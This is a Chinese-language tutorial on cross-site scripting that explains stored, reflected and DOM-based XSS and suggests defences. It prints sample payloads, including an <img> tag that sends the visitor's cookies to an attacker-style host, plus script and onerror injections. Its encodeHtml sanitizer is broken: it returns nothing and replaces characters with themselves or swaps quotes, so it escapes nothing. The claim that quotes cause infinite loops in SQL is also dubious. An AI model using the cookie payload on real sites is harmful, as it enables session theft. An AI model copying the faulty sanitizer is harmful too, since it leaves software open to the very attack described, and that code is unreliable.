XSS(Cross-site scripting)跨站脚本攻击，是一种安全漏洞。示例代码
1. XSS的含义
顾名思义，就是向web页面或者网站的url添加恶意的script(脚本)代码，使用户访问该网站时，执行恶意代码，从而达到攻击的目的。
发生XSS的场景：
1. 网站对用户的输入过滤不足，返回给用户的展示结果过滤不足。
2. 网站的链接地址未经过过滤
2. 如何进行攻击
攻击种类多种多样，通常包含如下：
1. 向网站注入脚本，获取访问用户的cookie或者其他会话信息（session information）等私有数据
2. 通过注入脚本，将受害者的网页重定向到攻击者控制的网页
3. 通过注入脚本，在用户的计算机上执行其他恶意操作
3. XSS攻击分类
XSS攻击分为3类： 存储型（持久型)、反射型（非持久型）、基于DOM型。危害程度递减。
存储型（Stored/Persistent XSS Attacks）
危害程度最大，可能危及所有用户！
注入的脚本永久的存储在目标服务器中。当浏览器发送数据请求时，受害者和网站的其他用户都会再次拿到恶意脚本。
<示例>：
网站的评论功能
评论提交后，存储到服务器。所有访问该网站的用户自动从服务器拉取到恶意代码。
// 在评论框中输入恶意脚本，提交到服务器 hello<script>广告等</script>
反射型（Reflected/Non-Persistent XSS Attacks）
一般只危害当前操作用户
诱骗用户点击恶意链接、提交一个被篡改过的表单、浏览恶意网站，将恶意代码注入到访问者的网站。
web服务器将注入的脚本反射到用户的浏览器，比如通过错误信息、查询结果等返回浏览器。
浏览器会执行这些恶意代码，因为它假定响应来自于已经交互过的“受信任的”服务器。
<示例>：
在<img>的url上写入一个脚本，将本地的cookie通过访问地址发送到攻击者的服务器
<img src=`http://www.fish.com:81?cookie=${document.cookie}` />
基于DOM型（DOM-based XSS Attacks）
攻击最小，一般通过操作浏览器脚本的DOM对象，修改DOM节点属性，在DOM节点插入闭合标签等，进行攻击。
<示例>：
通过输入框给图片的src赋值，展示图片
<input type="text" id="web" /> <button id="add">添加图片</button> <div class="box"></div> <script src="/node_modules/jquery/dist/jquery.js"></script> <script> // 不基于后端， 基于DOM，通过修改属性、插入内容、document.write // 改变结构后造成攻击 // 攻击的内容成为xss payload $("#add").on('click', function() { // <img src="" onerror="alert(1)" id=""/> // " onerror="alert(1)" id=" // <img src=""><script>alert(1)</script>""> // "><script>alert(1)</script>" $(".box").html(`<img src=${$('#web').val()} />`) }) </script>
4. 如何避免攻击
所有的攻击归根结底都是该过滤的没有过滤，该转义的没有转义。比较完整的避免攻击方式，需要做以下三步：
1. 客户端传递给服务器时，需要校验先过滤一下。
这个方法不能解决问题，因为攻击者可能会模拟ajax请求。
2. 服务器端再过滤一下
3. 直接在输出的时候过滤
4. HttpOnly： 防止js读取cookie后传递到第三方
过滤方法：
function encodeHtml(str) { str.replace(/&/g, '&'). replace(/'/g, '"'). replace(/"/g, '''). replace(/</g, '<').replace(/>/g, '>') }
⚠️： 对于单引号或双引号，如果输入内容用于后台或者本地存储的sql拼接，会导致死循环等恶意结果。